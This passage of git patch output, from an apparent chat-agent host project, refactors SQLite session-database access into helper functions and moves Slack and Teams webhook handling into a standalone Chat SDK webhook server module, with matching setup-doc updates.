TABLE delivered ADD COLUMN platform_message_id TEXT').run(); - } - if (!cols.has('status')) { - db.prepare("ALTER TABLE delivered ADD COLUMN status TEXT NOT NULL DEFAULT 'delivered'").run(); - } -} - /** * Handle system actions from the container agent. * These are written to messages_out because the container can't write to inbound.db. @@ -462,54 +434,36 @@ async function handleSystemAction( const processAfter = content.processAfter as string; const recurrence = (content.recurrence as string) || null; - // Compute next even seq for host-owned inbound.db - const maxSeq = (inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; - const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); - - inDb - .prepare( - `INSERT INTO messages_in (id, seq, timestamp, status, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, @seq, datetime('now'), 'pending', 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, - ) - .run({ - id: taskId, - seq: nextSeq, - process_after: processAfter, - recurrence, - platform_id: content.platformId ?? null, - channel_type: content.channelType ?? null, - thread_id: content.threadId ?? null, - content: JSON.stringify({ prompt, script }), - }); + insertTask(inDb, { + id: taskId, + processAfter, + recurrence, + platformId: (content.platformId as string) ?? null, + channelType: (content.channelType as string) ?? null, + threadId: (content.threadId as string) ?? null, + content: JSON.stringify({ prompt, script }), + }); log.info('Scheduled task created', { taskId, processAfter, recurrence }); break; } case 'cancel_task': { const taskId = content.taskId as string; - inDb - .prepare( - "UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')", - ) - .run(taskId); + cancelTask(inDb, taskId); log.info('Task cancelled', { taskId }); break; } case 'pause_task': { const taskId = content.taskId as string; - inDb - .prepare("UPDATE messages_in SET status = 'paused' WHERE id = ? AND kind = 'task' AND status = 'pending'") - .run(taskId); + pauseTask(inDb, taskId); log.info('Task paused', { taskId }); break; } case 'resume_task': { const taskId = content.taskId as string; - inDb - .prepare("UPDATE messages_in SET status = 'pending' WHERE id = ? AND kind = 'task' AND status = 'paused'") - .run(taskId); + resumeTask(inDb, taskId); log.info('Task resumed', { taskId }); break; } diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 22583a8..b1b49f9 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -7,11 +7,22 @@ * - Uses heartbeat file mtime for stale container detection (not DB writes) * - Never writes to outbound.db — preserves single-writer-per-file invariant */ -import Database from 'better-sqlite3'; +import type Database from 'better-sqlite3'; import fs from 'fs'; import { getActiveSessions, updateSession } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; +import { + countDueMessages, + syncProcessingAcks, + getStuckProcessingIds, + getMessageForRetry, + markMessageFailed, + retryWithBackoff, + getCompletedRecurring, + insertRecurrence, + clearRecurrence, +} from './db/session-db.js'; import { log } from './log.js'; import { openInboundDb, openOutboundDb, inboundDbPath, outboundDbPath, heartbeatPath } from './session-manager.js'; import { wakeContainer, isContainerRunning } from './container-runner.js'; @@ -77,16 +88,10 @@ async function sweepSession(session: Session): Promise { } // 2. Check for due pending messages → wake container - const dueMessages = inDb - .prepare( - `SELECT COUNT(*) as count FROM messages_in - WHERE status = 'pending' - AND (process_after IS NULL OR process_after <= datetime('now'))`, - ) - .get() as { count: number }; + const dueCount = countDueMessages(inDb); - if (dueMessages.count > 0 && !isContainerRunning(session.id)) { - log.info('Waking container for due messages', { sessionId: session.id, count: dueMessages.count }); + if (dueCount > 0 && !isContainerRunning(session.id)) { + log.info('Waking container for due messages', { sessionId: session.id, count: dueCount }); await wakeContainer(session); } @@ -103,26 +108,6 @@ async function sweepSession(session: Session): Promise { } } -/** - * Sync completed/failed processing_ack entries → messages_in.status. - * Only syncs terminal states — 'processing' is handled by stale detection. - */ -function syncProcessingAcks(inDb: Database.Database, outDb: Database.Database): void { - const completed = outDb - .prepare("SELECT message_id FROM processing_ack WHERE status IN ('completed', 'failed')") - .all() as Array<{ message_id: string }>; - - if (completed.length === 0) return; - - // Batch-update messages_in status for completed/failed messages - const updateStmt = inDb.prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'"); - inDb.transaction(() => { - for (const { message_id } of completed) { - updateStmt.run(message_id); - } - })(); -} - /** * Detect stale containers using heartbeat file mtime. * If the heartbeat is older than STALE_THRESHOLD and processing_ack has @@ -146,30 +131,20 @@ function detectStaleContainers( if (heartbeatAge < STALE_THRESHOLD_MS) return; // Container is alive // Heartbeat is stale — check for stuck processing entries - const processing = outDb.prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'").all() as Array<{ - message_id: string; - }>; - - if (processing.length === 0) return; - - for (const { message_id } of processing) { - const msg = inDb - .prepare('SELECT id, tries FROM messages_in WHERE id = ? AND status = ?') - .get(message_id, 'pending') as { id: string; tries: number } | undefined; + const processingIds = getStuckProcessingIds(outDb); + if (processingIds.length === 0) return; + for (const messageId of processingIds) { + const msg = getMessageForRetry(inDb, messageId, 'pending'); if (!msg) continue; if (msg.tries >= MAX_TRIES) { - inDb.prepare("UPDATE messages_in SET status = 'failed' WHERE id = ?").run(msg.id); + markMessageFailed(inDb, msg.id); log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); } else { const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); const backoffSec = Math.floor(backoffMs / 1000); - inDb - .prepare( - `UPDATE messages_in SET tries = tries + 1, process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, - ) - .run(msg.id); + retryWithBackoff(inDb, msg.id, backoffSec); log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); } } @@ -177,49 +152,17 @@ function detectStaleContainers( /** Insert next occurrence for completed recurring messages. */ async function handleRecurrence(inDb: Database.Database, session: Session): Promise { - const completedRecurring = inDb - .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") - .all() as Array<{ - id: string; - kind: string; - content: string; - recurrence: string; - process_after: string | null; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - }>; + const recurring = getCompletedRecurring(inDb); - for (const msg of completedRecurring) { + for (const msg of recurring) { try { const { CronExpressionParser } = await import('cron-parser'); const interval = CronExpressionParser.parse(msg.recurrence); const nextRun = interval.next().toISOString(); const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - // Host uses even seq numbers - const maxSeq = (inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; - const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); - - inDb - .prepare( - `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) - VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ) - .run( - newId, - nextSeq, - msg.kind, - nextRun, - msg.recurrence, - msg.platform_id, - msg.channel_type, - msg.thread_id, - msg.content, - ); - - // Remove recurrence from the completed message so it doesn't spawn again - inDb.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); + insertRecurrence(inDb, msg, newId, nextRun); + clearRecurrence(inDb, msg.id); log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); } catch (err) { diff --git a/src/session-manager.ts b/src/session-manager.ts index 8f05e28..4ebbd3f 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -10,7 +10,7 @@ * 3. One writer per file — DELETE-mode journal-unlink isn't atomic across * the mount; concurrent writers corrupt the DB. */ -import Database from 'better-sqlite3'; +import type Database from 'better-sqlite3'; import fs from 'fs'; import path from 'path'; @@ -19,8 +19,16 @@ import { getAgentGroup } from './db/agent-groups.js'; import { getDestinations } from './db/agent-destinations.js'; import { getMessagingGroup } from './db/messaging-groups.js'; import { createSession, findSession, findSessionByAgentGroup, getSession, updateSession } from './db/sessions.js'; +import { + ensureSchema, + openInboundDb as openInboundDbRaw, + openOutboundDb as openOutboundDbRaw, + upsertSessionRouting, + replaceDestinations, + insertMessage, + type DestinationRow, +} from './db/session-db.js'; import { log } from './log.js'; -import { INBOUND_SCHEMA, OUTBOUND_SCHEMA } from './db/schema.js'; import type { Session } from './types.js'; /** Root directory for all session data. */ @@ -116,23 +124,8 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(path.join(dir, 'outbox'), { recursive: true }); - const inPath = inboundDbPath(agentGroupId, sessionId); - if (!fs.existsSync(inPath)) { - const db = new Database(inPath); - db.pragma('journal_mode = DELETE'); - db.exec(INBOUND_SCHEMA); - db.close(); - log.debug('Inbound DB created', { dbPath: inPath }); - } - - const outPath = outboundDbPath(agentGroupId, sessionId); - if (!fs.existsSync(outPath)) { - const db = new Database(outPath); - db.pragma('journal_mode = DELETE'); - db.exec(OUTBOUND_SCHEMA); - db.close(); - log.debug('Outbound DB created', { dbPath: outPath }); - } + ensureSchema(inboundDbPath(agentGroupId, sessionId), 'inbound'); + ensureSchema(outboundDbPath(agentGroupId, sessionId), 'outbound'); } /** @@ -172,18 +165,9 @@ export function writeSessionRouting(agentGroupId: string, sessionId: string): vo } } - const db = new Database(dbPath); - db.pragma('journal_mode = DELETE'); - db.pragma('busy_timeout = 5000'); + const db = openInboundDb(agentGroupId, sessionId); try { - db.prepare( - `INSERT INTO session_routing (id, channel_type, platform_id, thread_id) - VALUES (1, @channel_type, @platform_id, @thread_id) - ON CONFLICT(id) DO UPDATE SET - channel_type = excluded.channel_type, - platform_id = excluded.platform_id, - thread_id = excluded.thread_id`, - ).run({ + upsertSessionRouting(db, { channel_type: channelType, platform_id: platformId, thread_id: session.thread_id, @@ -199,15 +183,7 @@ export function writeDestinations(agentGroupId: string, sessionId: string): void if (!fs.existsSync(dbPath)) return; const rows = getDestinations(agentGroupId); - type DestRow = { - name: string; - display_name: string | null; - type: 'channel' | 'agent'; - channel_type: string | null; - platform_id: string | null; - agent_group_id: string | null; - }; - const resolved: DestRow[] = []; + const resolved: DestinationRow[] = []; for (const row of rows) { if (row.target_type === 'channel') { @@ -235,19 +211,9 @@ export function writeDestinations(agentGroupId: string, sessionId: string): void } } - const db = new Database(dbPath); - db.pragma('journal_mode = DELETE'); - db.pragma('busy_timeout = 5000'); + const db = openInboundDb(agentGroupId, sessionId); try { - const tx = db.transaction((entries: DestRow[]) => { - db.prepare('DELETE FROM destinations').run(); - const stmt = db.prepare( - `INSERT INTO destinations (name, display_name, type, channel_type, platform_id, agent_group_id) - VALUES (@name, @display_name, @type, @channel_type, @platform_id, @agent_group_id)`, - ); - for (const e of entries) stmt.run(e); - }); - tx(resolved); + replaceDestinations(db, resolved); } finally { db.close(); } @@ -279,28 +245,10 @@ export function writeSessionMessage( // Extract base64 attachment data, save to inbox, replace with file paths const content = extractAttachmentFiles(agentGroupId, sessionId, message.id, message.content); - const dbPath = inboundDbPath(agentGroupId, sessionId); - const db = new Database(dbPath); - db.pragma('journal_mode = DELETE'); - db.pragma('busy_timeout = 5000'); - + const db = openInboundDb(agentGroupId, sessionId); try { - // Host uses even seq, container uses odd. This is not just collision - // avoidance between the two DB files — the seq is the agent-facing - // message ID returned by send_message and accepted by edit_message / - // add_reaction, and those tools look up by seq across BOTH tables - // (see container/agent-runner/src/db/messages-out.ts:getMessageIdBySeq). - // So the {messages_in.seq, messages_out.seq} namespace MUST be disjoint, - // or the agent's "edit message #5" could resolve to the wrong row. - const maxSeq = (db.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number }).m; - const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); // next even - - db.prepare( - `INSERT INTO messages_in (id, seq, kind, timestamp, status, platform_id, channel_type, thread_id, content, process_after, recurrence) - VALUES (@id, @seq, @kind, @timestamp, 'pending', @platformId, @channelType, @threadId, @content, @processAfter, @recurrence)`, - ).run({ + insertMessage(db, { id: message.id, - seq: nextSeq, kind: message.kind, timestamp: message.timestamp, platformId: message.platformId ?? null, @@ -357,19 +305,12 @@ function extractAttachmentFiles( /** Open the inbound DB for a session (host reads/writes). */ export function openInboundDb(agentGroupId: string, sessionId: string): Database.Database { - const dbPath = inboundDbPath(agentGroupId, sessionId); - const db = new Database(dbPath); - db.pragma('journal_mode = DELETE'); - db.pragma('busy_timeout = 5000'); - return db; + return openInboundDbRaw(inboundDbPath(agentGroupId, sessionId)); } /** Open the outbound DB for a session (host reads only). */ export function openOutboundDb(agentGroupId: string, sessionId: string): Database.Database { - const dbPath = outboundDbPath(agentGroupId, sessionId); - const db = new Database(dbPath, { readonly: true }); - db.pragma('busy_timeout = 5000'); - return db; + return openOutboundDbRaw(outboundDbPath(agentGroupId, sessionId)); } /** From 5a606a83d4d613dc7166b31cf81edded544b94ba Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 12 Apr 2026 17:13:52 +0300 Subject: [PATCH 121/485] refactor(v2): use Chat SDK webhooks proxy and clean up webhook server MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Route webhook requests through chat.webhooks[name]() instead of calling adapter.handleWebhook() directly, getting proper auto-initialization and signature verification. Extract Node↔Web Request/Response conversion into reusable helpers, parse URL pathname properly for query string safety, and support all HTTP methods (not just POST). Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-slack-v2/SKILL.md | 2 + .claude/skills/add-teams-v2/SKILL.md | 2 + src/channels/chat-sdk-bridge.ts | 109 +++++++++++++++++---------- src/db/session-db.ts | 12 ++- 4 files changed, 85 insertions(+), 40 deletions(-) diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index a7c8e39..294c045 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -73,6 +73,8 @@ Sync to container: `mkdir -p data/env && cp .env data/env/env` The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/slack` for Slack and other webhook-based adapters. This port must be publicly reachable from the internet for Slack to deliver events. +If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/api/webhooks/slack`. + ## Next Steps If you're in the middle of `/setup`, return to the setup flow now. diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 8f91aa1..42384b8 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -64,6 +64,8 @@ Sync to container: `mkdir -p data/env && cp .env data/env/env` The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/teams` for Teams and other webhook-based adapters. This port must be publicly reachable from the internet for Azure Bot Service to deliver activities. +If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/api/webhooks/teams`. + ## Next Steps If you're in the middle of `/setup`, return to the setup flow now. diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 0ed32fd..0cf0c66 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -307,7 +307,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter } else { // Non-gateway adapters (Slack, Teams, GitHub, etc.) — register on the shared webhook server const webhookPath = `/api/webhooks/${adapter.name}`; - registerWebhookAdapter(webhookPath, adapter); + registerWebhookAdapter(webhookPath, chat, adapter.name); log.info('Webhook adapter registered', { adapter: adapter.name, path: webhookPath }); } @@ -536,55 +536,86 @@ async function handleForwardedEvent( } /** - * Shared public webhook server for all webhook-based adapters. + * Shared webhook server for all webhook-based adapters. * Each adapter registers a path (e.g. /api/webhooks/slack, /api/webhooks/teams). - * The server listens on a single port (default 3000, configurable via WEBHOOK_PORT env var). + * Listens on a single port (default 3000, configurable via WEBHOOK_PORT env var). + * + * Routes incoming requests to the Chat SDK's `chat.webhooks[name]()` handler, + * which auto-initializes the adapter and handles signature verification. */ -const webhookAdapters = new Map(); +interface WebhookEntry { + chat: Chat; + adapterName: string; +} +const webhookRoutes = new Map(); let sharedWebhookServer: http.Server | null = null; +/** Placeholder base for URL parsing — Node's http.IncomingMessage only has a path, not a full URL. */ +const URL_BASE = 'http://0.0.0.0'; -function registerWebhookAdapter(path: string, adapter: Adapter): void { - webhookAdapters.set(path, adapter); +/** Convert a Node http.IncomingMessage into a Web API Request. */ +function nodeToWebRequest(req: http.IncomingMessage): Promise { + return new Promise((resolve, reject) => { + const chunks: Buffer[] = []; + req.on('data', (chunk: Buffer) => chunks.push(chunk)); + req.on('error', reject); + req.on('end', () => { + const body = Buffer.concat(chunks); + const headers = new Headers(); + for (const [key, val] of Object.entries(req.headers)) { + if (typeof val === 'string') headers.set(key, val); + else if (Array.isArray(val)) for (const v of val) headers.append(key, v); + } + const hasBody = req.method !== 'GET' && req.method !== 'HEAD'; + resolve( + new Request(`${URL_BASE}${req.url}`, { + method: req.method, + headers, + body: hasBody ? body : undefined, + }), + ); + }); + }); +} + +/** Write a Web API Response back to a Node http.ServerResponse. */ +async function writeWebResponse(webRes: Response, nodeRes: http.ServerResponse): Promise { + const responseHeaders: Record = {}; + webRes.headers.forEach((v, k) => { + responseHeaders[k] = v; + }); + nodeRes.writeHead(webRes.status, responseHeaders); + nodeRes.end(await webRes.text()); +} + +function registerWebhookAdapter(urlPath: string, chat: Chat, adapterName: string): void { + webhookRoutes.set(urlPath, { chat, adapterName }); if (!sharedWebhookServer) { const port = parseInt(process.env.WEBHOOK_PORT || '3000', 10); - sharedWebhookServer = http.createServer((req, res) => { - const matchedAdapter = req.url ? webhookAdapters.get(req.url) : undefined; - if (req.method === 'POST' && matchedAdapter) { - const chunks: Buffer[] = []; - req.on('data', (chunk: Buffer) => chunks.push(chunk)); - req.on('end', async () => { - try { - const body = Buffer.concat(chunks).toString(); - const headers: Record = {}; - for (const [key, val] of Object.entries(req.headers)) { - if (typeof val === 'string') headers[key] = val; - } - const request = new Request(`http://localhost${req.url}`, { - method: 'POST', - headers, - body, - }); - const response = await matchedAdapter.handleWebhook!(request, { - waitUntil: (p: Promise) => { p.catch(() => {}); }, - }); - const responseBody = await response.text(); - const responseHeaders: Record = { 'Content-Type': 'application/json' }; - response.headers.forEach((v, k) => { responseHeaders[k] = v; }); - res.writeHead(response.status, responseHeaders); - res.end(responseBody); - } catch (err) { - log.error('Webhook handler error', { url: req.url, err }); - res.writeHead(500); - res.end('{"error":"internal"}'); - } - }); - } else { + sharedWebhookServer = http.createServer(async (req, res) => { + const pathname = new URL(req.url || '/', URL_BASE).pathname; + const entry = webhookRoutes.get(pathname); + if (!entry) { res.writeHead(404); res.end('Not found'); + return; + } + try { + const webReq = await nodeToWebRequest(req); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const webhooks = entry.chat.webhooks as Record Promise>; + const handler = webhooks[entry.adapterName]; + const webRes = await handler(webReq, { + waitUntil: (p: Promise) => { p.catch(() => {}); }, + }); + await writeWebResponse(webRes, res); + } catch (err) { + log.error('Webhook handler error', { url: req.url, err }); + res.writeHead(500); + res.end('{"error":"internal"}'); } }); sharedWebhookServer.listen(port, '0.0.0.0', () => { - log.info('Shared webhook server started', { port, paths: [...webhookAdapters.keys()] }); + log.info('Shared webhook server started', { port, paths: [...webhookRoutes.keys()] }); }); } } diff --git a/src/db/session-db.ts b/src/db/session-db.ts index 73dc139..32cd8f4 100644 --- a/src/db/session-db.ts +++ b/src/db/session-db.ts @@ -197,7 +197,17 @@ export function insertRecurrence( db.prepare( `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run(newId, nextEvenSeq(db), msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); + ).run( + newId, + nextEvenSeq(db), + msg.kind, + nextRun, + msg.recurrence, + msg.platform_id, + msg.channel_type, + msg.thread_id, + msg.content, + ); } export function clearRecurrence(db: Database.Database, messageId: string): void { From f0e4f07ac207c44731ab5faae6cc58c3cac1c2c8 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 12 Apr 2026 17:36:02 +0300 Subject: [PATCH 122/485] refactor(v2): extract webhook server into standalone module Aligns with upstream feat/chat-sdk-integration pattern: regex-based routing (/webhook/{adapterName}), response streaming, cleanup function. Updates Slack and Teams skill docs to match /webhook/{name} convention used by all other v2 channel skills. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-slack-v2/SKILL.md | 6 +- .claude/skills/add-teams-v2/SKILL.md | 6 +- src/channels/chat-sdk-bridge.ts | 90 +----------------- src/webhook-server.ts | 134 +++++++++++++++++++++++++++ 4 files changed, 142 insertions(+), 94 deletions(-) create mode 100644 src/webhook-server.ts diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md index 294c045..dff3e55 100644 --- a/.claude/skills/add-slack-v2/SKILL.md +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -52,7 +52,7 @@ npm run build ### Event Subscriptions 8. Go to **Event Subscriptions** and toggle **Enable Events** -9. Set the **Request URL** to `https://your-domain/api/webhooks/slack` — Slack will send a verification challenge; it must pass before you can save +9. Set the **Request URL** to `https://your-domain/webhook/slack` — Slack will send a verification challenge; it must pass before you can save 10. Under **Subscribe to bot events**, add: - `message.channels`, `message.groups`, `message.im`, `app_mention` 11. Click **Save Changes** @@ -71,9 +71,9 @@ Sync to container: `mkdir -p data/env && cp .env data/env/env` ### Webhook server -The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/slack` for Slack and other webhook-based adapters. This port must be publicly reachable from the internet for Slack to deliver events. +The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/webhook/slack` for Slack and other webhook-based adapters. This port must be publicly reachable from the internet for Slack to deliver events. -If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/api/webhooks/slack`. +If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/webhook/slack`. ## Next Steps diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md index 42384b8..eaed5ce 100644 --- a/.claude/skills/add-teams-v2/SKILL.md +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -38,7 +38,7 @@ npm run build 3. After creation, go to **Configuration**: - Copy the **Microsoft App ID** - Note the **App Tenant ID** (shown for Single Tenant) - - Set **Messaging endpoint** to `https://your-domain/api/webhooks/teams` + - Set **Messaging endpoint** to `https://your-domain/webhook/teams` 4. Click **Manage Password** > **Certificates & secrets** > **New client secret** — copy the Value immediately (shown only once) 5. Go to **Channels** > add **Microsoft Teams** > Accept terms > Apply @@ -62,9 +62,9 @@ Sync to container: `mkdir -p data/env && cp .env data/env/env` ### Webhook server -The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/api/webhooks/teams` for Teams and other webhook-based adapters. This port must be publicly reachable from the internet for Azure Bot Service to deliver activities. +The Chat SDK bridge automatically starts a shared webhook server on port 3000 (configurable via `WEBHOOK_PORT` env var). The server handles `/webhook/teams` for Teams and other webhook-based adapters. This port must be publicly reachable from the internet for Azure Bot Service to deliver activities. -If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/api/webhooks/teams`. +If running locally, discuss options for exposing the server — e.g. ngrok (`ngrok http 3000`), Cloudflare Tunnel, or a reverse proxy on a VPS. The resulting public URL becomes the base for `https://your-domain/webhook/teams`. ## Next Steps diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 0cf0c66..02ddeba 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -20,6 +20,7 @@ import { } from 'chat'; import { log } from '../log.js'; import { SqliteStateAdapter } from '../state-sqlite.js'; +import { registerWebhookAdapter } from '../webhook-server.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; /** Adapter with optional gateway support (e.g., Discord). */ @@ -306,9 +307,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter log.info('Gateway listener started', { adapter: adapter.name }); } else { // Non-gateway adapters (Slack, Teams, GitHub, etc.) — register on the shared webhook server - const webhookPath = `/api/webhooks/${adapter.name}`; - registerWebhookAdapter(webhookPath, chat, adapter.name); - log.info('Webhook adapter registered', { adapter: adapter.name, path: webhookPath }); + registerWebhookAdapter(chat, adapter.name); } log.info('Chat SDK bridge initialized', { adapter: adapter.name }); @@ -534,88 +533,3 @@ async function handleForwardedEvent( }); await adapter.handleWebhook(fakeRequest, {}); } - -/** - * Shared webhook server for all webhook-based adapters. - * Each adapter registers a path (e.g. /api/webhooks/slack, /api/webhooks/teams). - * Listens on a single port (default 3000, configurable via WEBHOOK_PORT env var). - * - * Routes incoming requests to the Chat SDK's `chat.webhooks[name]()` handler, - * which auto-initializes the adapter and handles signature verification. - */ -interface WebhookEntry { - chat: Chat; - adapterName: string; -} -const webhookRoutes = new Map(); -let sharedWebhookServer: http.Server | null = null; -/** Placeholder base for URL parsing — Node's http.IncomingMessage only has a path, not a full URL. */ -const URL_BASE = 'http://0.0.0.0'; - -/** Convert a Node http.IncomingMessage into a Web API Request. */ -function nodeToWebRequest(req: http.IncomingMessage): Promise { - return new Promise((resolve, reject) => { - const chunks: Buffer[] = []; - req.on('data', (chunk: Buffer) => chunks.push(chunk)); - req.on('error', reject); - req.on('end', () => { - const body = Buffer.concat(chunks); - const headers = new Headers(); - for (const [key, val] of Object.entries(req.headers)) { - if (typeof val === 'string') headers.set(key, val); - else if (Array.isArray(val)) for (const v of val) headers.append(key, v); - } - const hasBody = req.method !== 'GET' && req.method !== 'HEAD'; - resolve( - new Request(`${URL_BASE}${req.url}`, { - method: req.method, - headers, - body: hasBody ? body : undefined, - }), - ); - }); - }); -} - -/** Write a Web API Response back to a Node http.ServerResponse. */ -async function writeWebResponse(webRes: Response, nodeRes: http.ServerResponse): Promise { - const responseHeaders: Record = {}; - webRes.headers.forEach((v, k) => { - responseHeaders[k] = v; - }); - nodeRes.writeHead(webRes.status, responseHeaders); - nodeRes.end(await webRes.text()); -} - -function registerWebhookAdapter(urlPath: string, chat: Chat, adapterName: string): void { - webhookRoutes.set(urlPath, { chat, adapterName }); - if (!sharedWebhookServer) { - const port = parseInt(process.env.WEBHOOK_PORT || '3000', 10); - sharedWebhookServer = http.createServer(async (req, res) => { - const pathname = new URL(req.url || '/', URL_BASE).pathname; - const entry = webhookRoutes.get(pathname); - if (!entry) { - res.writeHead(404); - res.end('Not found'); - return; - } - try { - const webReq = await nodeToWebRequest(req); - // eslint-disable-next-line @typescript-eslint/no-explicit-any - const webhooks = entry.chat.webhooks as Record Promise>; - const handler = webhooks[entry.adapterName]; - const webRes = await handler(webReq, { - waitUntil: (p: Promise) => { p.catch(() => {}); }, - }); - await writeWebResponse(webRes, res); - } catch (err) { - log.error('Webhook handler error', { url: req.url, err }); - res.writeHead(500); - res.end('{"error":"internal"}'); - } - }); - sharedWebhookServer.listen(port, '0.0.0.0', () => { - log.info('Shared webhook server started', { port, paths: [...webhookRoutes.keys()] }); - }); - } -} diff --git a/src/webhook-server.ts b/src/webhook-server.ts new file mode 100644 index 0000000..6b26d11 --- /dev/null +++ b/src/webhook-server.ts @@ -0,0 +1,134 @@ +/** + * Minimal HTTP server for Chat SDK adapter webhooks. + * + * Starts lazily on first adapter registration. Routes requests by path: + * /webhook/{adapterName} → chat.webhooks[adapterName](request) + * + * Multiple Chat instances can register adapters — each adapter name maps + * to its owning Chat instance. + */ +import http from 'http'; + +import type { Chat } from 'chat'; + +import { log } from './log.js'; + +const DEFAULT_PORT = 3000; + +interface WebhookEntry { + chat: Chat; + adapterName: string; +} + +const routes = new Map(); +let server: http.Server | null = null; + +/** Convert Node.js IncomingMessage to a Web API Request. */ +async function toWebRequest(req: http.IncomingMessage): Promise { + const chunks: Buffer[] = []; + for await (const chunk of req) { + chunks.push(chunk as Buffer); + } + const body = Buffer.concat(chunks); + + const host = req.headers.host || 'localhost'; + const url = `http://${host}${req.url}`; + + const headers: Record = {}; + for (const [key, val] of Object.entries(req.headers)) { + if (typeof val === 'string') headers[key] = val; + else if (Array.isArray(val)) headers[key] = val.join(', '); + } + + const hasBody = req.method !== 'GET' && req.method !== 'HEAD'; + return new Request(url, { + method: req.method || 'GET', + headers, + body: hasBody ? body : undefined, + }); +} + +/** Write a Web API Response back to a Node.js ServerResponse. */ +async function fromWebResponse(webRes: Response, nodeRes: http.ServerResponse): Promise { + nodeRes.writeHead(webRes.status, Object.fromEntries(webRes.headers.entries())); + if (webRes.body) { + const reader = webRes.body.getReader(); + try { + while (true) { + const { done, value } = await reader.read(); + if (done) break; + nodeRes.write(value); + } + } finally { + reader.releaseLock(); + } + } + nodeRes.end(); +} + +/** + * Register a webhook adapter on the shared server. + * Starts the server lazily on first call. + */ +export function registerWebhookAdapter(chat: Chat, adapterName: string): void { + routes.set(adapterName, { chat, adapterName }); + ensureServer(); + 